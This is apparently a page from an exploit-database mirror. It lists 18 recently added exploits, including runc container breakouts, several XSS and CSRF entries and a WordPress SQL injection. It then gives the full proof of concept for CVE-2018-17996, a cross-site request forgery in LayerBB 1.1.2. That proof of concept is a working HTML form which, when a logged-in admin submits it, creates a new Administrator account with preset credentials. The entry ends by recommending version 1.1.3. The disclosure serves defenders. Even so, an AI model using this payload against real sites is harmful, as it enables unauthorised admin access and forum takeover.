
18 changes to exploits/shellcodes Core FTP/SFTP Server 1.2 Build 589.42 - 'User domain' Denial of Service (PoC) MediaMonkey 4.1.23 - '.mp3' URL Denial of Service (PoC) ApowerManager 3.1.7 - Phone Manager Remote Denial of Service (DoS) runc < 1.0-rc6 (Docker < 18.09.2) - Host Command Execution runc < 1.0-rc6 (Docker < 18.09.2) - Container Breakout (1) exacqVision ESM 5.12.2 - Privilege Escalation runc < 1.0-rc6 (Docker < 18.09.2) - Container Breakout (2) Jiofi 4 (JMR 1140 Amtel_JMR1140_R12.07) - Reflected Cross-Site Scripting Jiofi 4 (JMR 1140 Amtel_JMR1140_R12.07) - Cross-Site Request Forgery (Password Disclosure) Jiofi 4 (JMR 1140 Amtel_JMR1140_R12.07) - Cross-Site Request Forgery (Admin Token Disclosure) DomainMOD 4.11.01 - 'ssl-provider-name' Cross-Site Scripting DomainMOD 4.11.01 - 'ssl-accounts.php username' Cross-Site Scripting DomainMOD 4.11.01 - 'category.php CatagoryName_ StakeHolder' Cross-Site Scripting DomainMOD 4.11.01 - 'assets/add/dns.php' Cross-Site Scripting DomainMOD 4.11.01 - 'assets/edit/host.php?whid=5' Cross-Site Scripting WordPress Plugin Booking Calendar 8.4.3 - Authenticated SQL Injection LayerBB 1.1.2 - Cross-Site Request Forgery (Add Admin)
38 lines
No EOL
1.2 KiB
Text
38 lines
No EOL
1.2 KiB
Text
# Exploit Title: LayerBB 1.1.2 - Cross-Site Request Forgery
|
|
# Date: 10/4/2018
|
|
# Author: 0xB9
|
|
# Twitter: @0xB9Sec
|
|
# Contact: 0xB9[at]pm.me
|
|
# Software Link: https://forum.layerbb.com
|
|
# Version: 1.1.2
|
|
# Tested on: Ubuntu 18.04
|
|
# CVE: CVE-2018-17996
|
|
|
|
|
|
1. Description:
|
|
LayerBB is a free open-source forum software, the CSRF allows creating a admin user.
|
|
|
|
|
|
2. Proof of Concept:
|
|
|
|
<!-- Create Admin User -->
|
|
<html>
|
|
<body>
|
|
<form action="http://localhost/[path]/admin/new_user.php" method="POST">
|
|
<label for="username">Username</label>
|
|
<input name="username" id="username" value="test" type="text">
|
|
<label for="password">Password</label>
|
|
<input name="password" id="password" value="password123" type="password">
|
|
<label for="email">Email Address</label>
|
|
<input name="email" id="email" value="test@localhost.co" type="text">
|
|
<label for="usergroup">Usergroup</label><br>
|
|
<select name="usergroup" id="usergroup" style="width:100%;"><option value="4">Administrator</option></select><br><br>
|
|
<input name="create" value="Create User" type="submit">
|
|
</form>
|
|
</body>
|
|
</html>
|
|
<!-- Create Admin User End -->
|
|
|
|
|
|
3. Solution:
|
|
Update to 1.1.3 |